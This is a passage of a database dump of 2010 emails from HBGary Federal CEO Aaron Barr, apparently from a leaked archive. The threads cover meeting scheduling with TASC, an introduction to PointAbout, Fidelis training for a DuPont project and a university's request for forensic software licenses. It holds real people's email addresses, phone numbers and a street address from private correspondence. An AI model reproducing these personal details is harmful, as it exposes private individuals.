Federal\r\n719-237-8623\r\n',12978,'aaron_hbgary_com/12978.html'),(7023,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005100.M584182P14101Q1878.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,','Re: COIN Update','Wednesday is good. &nbsp;Can we reschedule the Acamai meeting? &nbsp;I am speaking on social networking at the NSA REBL conference at the same time.AaronOn Jun 4, 2010, at 7:50 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\nHi Aaron,\r\n\r\nHow does Wednesday look?&nbsp; John may be out of town early in the week.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 6/4/2010 9:19 AM\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC); Pisani, Albert A. (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: COIN Update\r\n\r\nI can meet early on Monday.&nbsp; I just have to be in DC at 12pm.\r\n\r\nTuesday morning I am meeting with a mobile development company in the DC area, PointAbout, Inc.&nbsp; Check them out, a lot of capabilities, executives from Microsoft and Google.&nbsp; Their existing capabilities have a lot of promise.\r\n\r\nAaron\r\n\r\nOn Jun 4, 2010, at 5:32 AM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Can we meet Monday or Tuesday morning?&nbsp; I am out of the office today but will be in next week.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 6/3/2010 5:16 PM\r\n&gt; To: Clair, Chris (TASC); Lovegrove, John (TASC)\r\n&gt; Cc: Pisani, Albert A. (TASC)\r\n&gt; Subject: COIN Update\r\n&gt;\r\n&gt; All,\r\n&gt;\r\n&gt; I am fairly certain that NG is teaming with SAIC for the recompete.&nbsp; This creates a significant challenge that we need to discuss.\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6834,'aaron_hbgary_com/6834.html'),(7024,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005100.M821067P14101Q1879.eml','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','Re: Introduction','Shall I come to your place?  Around 9am?\r\n\r\nFunny the personal situational awareness proposal.  I would like to talk to you about that one.  We have a commercial proposal and prototype capability to do something very similar.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC.\r\n\r\nOn Jun 3, 2010, at 11:50 AM, Scott Suhy wrote:\r\n\r\n> Are you good for the morning of the 8th?    \r\n> \r\n> We\'ve been working on a response to the darpa bid for the last 3 weeks.\r\n> There is also one for HLS see\r\n> https://www.sbir.dhs.gov/currentsolicitation.aspx#101009 we decided to not\r\n> bid this one.\r\n> \r\n> PEO EIS has one that is in RFI stage and one for SSA see\r\n> https://www.fbo.gov/spg/SSA/DCFIAM/OAG/SSA-RFI-10-1013/listing.html \r\n> \r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n> skype:scott.suhy \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, June 03, 2010 12:57 PM\r\n> To: Scott Suhy\r\n> Subject: Re: Introduction\r\n> \r\n> Hi Scott,\r\n> \r\n> How is your schedule for getting together next week?  Did you see the link I\r\n> sent on the DARPA opportunity for app development?\r\n> \r\n> Aaron\r\n> \r\n> On May 27, 2010, at 7:32 AM, Scott Suhy wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Give me a ring today (cell below).\r\n>> \r\n>> ____________________________________________________\r\n>> Scott B. Suhy\r\n>> CEO, PointAbout Inc.\r\n>> Cell: 202.557.6937\r\n>> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n>> skype:scott.suhy \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, May 27, 2010 9:07 AM\r\n>> To: info@PointAbout.com\r\n>> Subject: Introduction\r\n>> \r\n>> Hi PointAbout,\r\n>> \r\n>> I have been doing a little bit of research on local DC talent for mobile\r\n>> development and found you guys, turns out I actually have a few of your\r\n> apps\r\n>> on my iPhone.\r\n>> \r\n>> My company is the sister company to HBGary Inc. focused on malware\r\n> analysis,\r\n>> incident response, and information operations products and services.  But\r\n>> the reason for writing you is I have about 7 years experience in the web\r\n> and\r\n>> mobile app and services space as well and have some interesting ideas.  It\r\n>> was all work done for the government so while I think I have a vision for\r\n>> the direction of mobile information and services (the most important\r\n> market\r\n>> going forward IMO).  I don\'t know the people or processes in the purely\r\n>> commercial space.\r\n>> \r\n>> I would like to exchange an NDA and come talk to you guys about the mobile\r\n>> space.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.819 / Virus Database: 271.1.1/2897 - Release Date: 05/26/10\r\n>> 14:26:00\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.829 / Virus Database: 271.1.1/2914 - Release Date: 06/03/10\r\n> 02:25:00\r\n> \r\n\r\n\r\n\r\n',9096,'aaron_hbgary_com/9096.html'),(7025,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005101.M304682P14101Q1881.eml','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','Re: Follow-up to Interview','Thanks. &nbsp;I think it came out well.I have from a few folks. &nbsp;Majority of comments so far are, \"Mycology?\" &nbsp;LOL.Thanks,AaronOn Jun 2, 2010, at 12:04 PM, Jennifer Jordan-Harrell wrote:Aaron,I just saw the interview – It looks good.&nbsp; Do you have or have you gotten any feedback?&nbsp;Sincerely,&nbsp;Jennifer Jordan-HarrellGroup Manager&nbsp;ExecutiveBiz703-226-7016jennifer@executivebiz.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2686,'aaron_hbgary_com/2686.html'),(7026,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005101.M56071P14101Q1880.eml','\"Etue, David\" <david.etue@fidelissecurity.com>,\"Etue, David\" <david.etue@fidelissecurity.com>','Re: DuPont','Great.Kevin, &nbsp;can we set up some training for these guys soonest? &nbsp;Overall introduction will be great with a focus on those capabilities we would most use for incident response engagement; network discovery, session reconstruction, traffic isolation and analysis, integration with our Active Defense capabilities (so APIs).Thanks,AaronOn Jun 3, 2010, at 8:43 AM, Etue, David wrote:Yep – we should connect them with Kevin Harvey (cc’d), who will coordinate the training.&nbsp;&nbsp;Understanding our policy components and structure is key to success.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, June 03, 2010 10:40 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Re: DuPont&nbsp;We have the various VMs now downloaded and are installing. &nbsp;Should we have a conversation and potential demo of these capabilities for the folks out here in the Springs that will be configuring?&nbsp;Aaron&nbsp;On Jun 3, 2010, at 8:20 AM, Etue, David wrote:On a call with them – you okay if I mention your upcoming offering?&nbsp;David&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',688,'aaron_hbgary_com/688.html'),(7027,'2010-06-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005101.M578902P14101Q1882.eml','\"Barr Aaron\" <aaron@hbgary.com>','Colorado Tech','Penny asked us to meet up with John Tesch from Colorado Technical\r\nUniversity (CTU) after she met him at CIC in Vegas.  Aaron and I met\r\nwith John last night to learn more about what he\'s trying to\r\naccomplish and how he thinks HBGary can help.  He has worked hard over\r\nthe last few years trying to establish CTU as a leader in digital\r\nforensics studies.  Today he is flying to NSA to receive CTU\'s\r\ncertification as an NSA academic center of excellence for computer\r\nsecurity, an honor bestowed upon less than 100 schools.  John is\r\ndeveloping a memory forensics course and he would like to center much\r\nof the content and labs around HBGary Responder.  He is looking for 24\r\nlicenses, one for each workstation in their student security lab. He\r\nhas very limited budget, and would like to offer up in exchange for\r\nthe licenses, an HBGary sign to be prominently displayed at the lab\r\nentrance, exposing students to HBGary products throughout the course,\r\nand promoting HBGary through CTU hosted venues such as ISSA meetings,\r\netc.  He needs to know the cost and get everything formalized as\r\nquickly as possible because it takes time to develop the course\r\nmaterial and promote the class.\r\n\r\nQuestions:\r\n\r\n1.  How much would we charge for the 24 licenses.\r\n2.  Can CTU have permission to use Responder as a teaching aid / topic\r\nduring the course, and is a formal agreement needed for this?\r\n3.  I\'m a bit concerned that their teaching a Responder focused course\r\nmay diminish demand for HBGary training in Colorado Springs, should we\r\ntry to negotiate a deal with CTU which would allow us to be\r\ncompensated for teaching the Responder portions of the class?\r\n\r\nTed\r\n',10572,'aaron_hbgary_com/10572.html'),(7028,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005101.M866030P14101Q1883.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: DuPont','Wow. &nbsp;They have an APT program. &nbsp;Like you said, at least they are thinking and acting.Doesn\'t surprise me you did this work earlier. &nbsp;Nearly no one got it back in the 90s though, so I am sure the information ended up in the \"Well thats interesting\" bucket.AaronOn Jun 3, 2010, at 8:44 AM, Etue, David wrote:Cool – talking with Eric Meyers about their “APT program”.&nbsp; Name makes me cringe, but they are serious about doing stuff.&nbsp;&nbsp;The irony of this is that I spend a bunch of time when I was at GE doing best practice sharing with DuPont on nation state threats in the late 90s…&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, June 03, 2010 10:35 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Re: DuPont&nbsp;absolutely.&nbsp;On Jun 3, 2010, at 8:20 AM, Etue, David wrote:On a call with them – you okay if I mention your upcoming offering?&nbsp;David&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5894,'aaron_hbgary_com/5894.html'),(7029,'2010-06-04','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297005102.M366705P14101Q1885.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow-up to Interview','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI know I said the same thing. J But that&#8217;s the human\r\nside of you &#8211; like so many of us, we start out thinking we&#8217;ll do one thing and\r\nlife takes us in a totally different direction.&nbsp; \r\n\r\n&nbsp;\r\n\r\nHave you given thought to any other Cyber Exec&#8217;s that you think\r\nwould be a good fit for the group? (updated list attached)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:29 AM\r\nTo: Jennifer Jordan-Harrell\r\nSubject: Re: Follow-up to Interview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks. &nbsp;I think it came out well.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have from a few folks. &nbsp;Majority of comments so far\r\nare, &quot;Mycology?&quot; &nbsp;LOL.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 2, 2010, at 12:04 PM, Jennifer Jordan-Harrell wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI\r\njust saw the interview &#8211; It looks good.&nbsp; Do you have or have you gotten\r\nany feedback?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSincerely,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJennifer\r\nJordan-Harrell\r\n\r\n\r\n\r\n\r\n\r\nGroup\r\nManager\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nExecutiveBiz\r\n\r\n\r\n\r\n\r\n\r\n703-226-7016\r\n\r\n\r\n\r\n\r\n\r\njennifer@executivebiz.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14482,'aaron_hbgary_com/14482.html'),(7030,'2010-06-04','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005102.M616288P14101Q1886.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: COIN Update','\r\n\r\n\r\n\r\n\r\nRE: COIN Update\r\n\r\n\r\n\r\n\r\n\r\nWhen can you meet with them?&nbsp; I can try to change it.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 6/4/2010 11:03 AM\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: COIN Update\r\n\r\nWednesday is good.&nbsp; Can we reschedule the Acamai meeting?&nbsp; I am speaking on social networking at the NSA REBL conference at the same time.\r\n\r\nAaron\r\n\r\nOn Jun 4, 2010, at 7:50 AM, Clair, Chris (TASC) wrote:\r\n\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; How does Wednesday look?&nbsp; John may be out of town early in the week.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Fri 6/4/2010 9:19 AM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Cc: Lovegrove, John (TASC); Pisani, Albert A. (TASC); Garcia, Kathy (TASC)\r\n&gt; Subject: Re: COIN Update\r\n&gt;\r\n&gt; I can meet early on Monday.&nbsp; I just have to be in DC at 12pm.\r\n&gt;\r\n&gt; Tuesday morning I am meeting with a mobile development company in the DC area, PointAbout, Inc.&nbsp; Check them out, a lot of capabilities, executives from Microsoft and Google.&nbsp; Their existing capabilities have a lot of promise.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Jun 4, 2010, at 5:32 AM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; Hi Aaron,\r\n&gt; &gt;\r\n&gt; &gt; Can we meet Monday or Tuesday morning?&nbsp; I am out of the office today but will be in next week.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 6/3/2010 5:16 PM\r\n&gt; &gt; To: Clair, Chris (TASC); Lovegrove, John (TASC)\r\n&gt; &gt; Cc: Pisani, Albert A. (TASC)\r\n&gt; &gt; Subject: COIN Update\r\n&gt; &gt;\r\n&gt; &gt; All,\r\n&gt; &gt;\r\n&gt; &gt; I am fairly certain that NG is teaming with SAIC for the recompete.&nbsp; This creates a significant challenge that we need to discuss.\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15963,'aaron_hbgary_com/15963.html'),(7031,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005102.M855658P14101Q1887.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,','Re: COIN Update','That whole week is bad for me except Monday I am open. &nbsp;I am heading down to the FIRST conference in Miami on Wednesday.Next week I have a lot of different times open. &nbsp;All day wednesday, most of thursday, Friday after 10am? &nbsp;I am meeting with Wood at 9am next friday so will be in your your neck of the woods.AaronOn Jun 4, 2010, at 9:38 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\nWhen can you meet with them?&nbsp; I can try to change it.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 6/4/2010 11:03 AM\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: COIN Update\r\n\r\nWednesday is good.&nbsp; Can we reschedule the Acamai meeting?&nbsp; I am speaking on social networking at the NSA REBL conference at the same time.\r\n\r\nAaron\r\n\r\nOn Jun 4, 2010, at 7:50 AM, Clair, Chris (TASC) wrote:\r\n\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; How does Wednesday look?&nbsp; John may be out of town early in the week.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Fri 6/4/2010 9:19 AM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Cc: Lovegrove, John (TASC); Pisani, Albert A. (TASC); Garcia, Kathy (TASC)\r\n&gt; Subject: Re: COIN Update\r\n&gt;\r\n&gt; I can meet early on Monday.&nbsp; I just have to be in DC at 12pm.\r\n&gt;\r\n&gt; Tuesday morning I am meeting with a mobile development company in the DC area, PointAbout, Inc.&nbsp; Check them out, a lot of capabilities, executives from Microsoft and Google.&nbsp; Their existing capabilities have a lot of promise.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Jun 4, 2010, at 5:32 AM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; Hi Aaron,\r\n&gt; &gt;\r\n&gt; &gt; Can we meet Monday or Tuesday morning?&nbsp; I am out of the office today but will be in next week.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 6/3/2010 5:16 PM\r\n&gt; &gt; To: Clair, Chris (TASC); Lovegrove, John (TASC)\r\n&gt; &gt; Cc: Pisani, Albert A. (TASC)\r\n&gt; &gt; Subject: COIN Update\r\n&gt; &gt;\r\n&gt; &gt; All,\r\n&gt; &gt;\r\n&gt; &gt; I am fairly certain that NG is teaming with SAIC for the recompete.&nbsp; This creates a significant challenge that we need to discuss.\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4496,'aaron_hbgary_com/4496.html'),(7032,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005102.M95552P14101Q1884.eml','\"Etue, David\" <david.etue@fidelissecurity.com>,\"Etue, David\" <david.etue@fidelissecurity.com>','Re: DuPont','Is there anything that would be helpful in the installation side as well?On Jun 3, 2010, at 8:43 AM, Etue, David wrote:Yep – we should connect them with Kevin Harvey (cc’d), who will coordinate the training.&nbsp;&nbsp;Understanding our policy components and structure is key to success.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, June 03, 2010 10:40 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Re: DuPont&nbsp;We have the various VMs now downloaded and are installing. &nbsp;Should we have a conversation and potential demo of these capabilities for the folks out here in the Springs that will be configuring?&nbsp;Aaron&nbsp;On Jun 3, 2010, at 8:20 AM, Etue, David wrote:On a call with them – you okay if I mention your upcoming offering?&nbsp;David&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13371,'aaron_hbgary_com/13371.html'),(7033,'2010-06-04','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005103.M319219P14101Q1889.eml','\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>,\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>','RE: DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nKevin,\r\n\r\n&nbsp;\r\n\r\nI&#8217;d suggest we get a quick demo scheduled, even if the training\r\nmight take a few days to get started.&nbsp; If you show some of the use cases in the\r\ndemo, with how the policy components work, it might get them started.&nbsp; They are\r\nhoping to launch this integrated offering by June 14.\r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:26 AM\r\nTo: Etue, David\r\nCc: Harvey, Kevin\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKevin, &nbsp;can we set up some training for these guys\r\nsoonest? &nbsp;Overall introduction will be great with a focus on those\r\ncapabilities we would most use for incident response engagement; network\r\ndiscovery, session reconstruction, traffic isolation and analysis, integration\r\nwith our Active Defense capabilities (so APIs).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:43 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep &#8211; we should connect them with Kevin Harvey (cc&#8217;d), who will\r\ncoordinate the training.&nbsp;&nbsp;Understanding\r\nour policy components and structure is key to success.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, June 03,\r\n2010 10:40 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have the various VMs now downloaded and are installing.\r\n&nbsp;Should we have a conversation and potential demo of these capabilities\r\nfor the folks out here in the Springs that will be configuring?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\na call with them &#8211; you okay if I mention your upcoming offering?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6745,'aaron_hbgary_com/6745.html'),(7034,'2010-06-04','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005103.M573769P14101Q1890.eml','aaron@hbgary.com,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,aaron@hbgary.com','COIN Strategy and Teaming Discussion','\r\n\r\n\r\n\r\n\r\nCOIN Strategy and Teaming Discussion\r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Wednesday, June 09, 2010 9:00 AM\r\nEnd Time:Wednesday, June 09, 2010 10:30 AM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF1 - Suite 135 Conference room\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\nWe will discuss:\r\n\r\n1.&nbsp; Latest news on the COIN teaming efforts\r\n2.&nbsp; Review of white paper, inputs necessary\r\n3.&nbsp; Upcoming events - team discussions, etc\r\n4.&nbsp; Discussion on strategy, and plans\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n',15129,'aaron_hbgary_com/15129.html'),(7035,'2010-06-04','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005103.M86617P14101Q1888.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThere should be Quick Start guides and documentation on the\r\nportal too.&nbsp; Also cc&#8217;ing Jerry and Hardik Modi, who is the engineer who\r\noversees our appliances and has a lot of experience with the virt product\r\ndeployments.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:32 AM\r\nTo: Etue, David\r\nCc: Harvey, Kevin\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIs there anything that would be helpful in the installation\r\nside as well?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:43 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep &#8211; we should connect them with Kevin 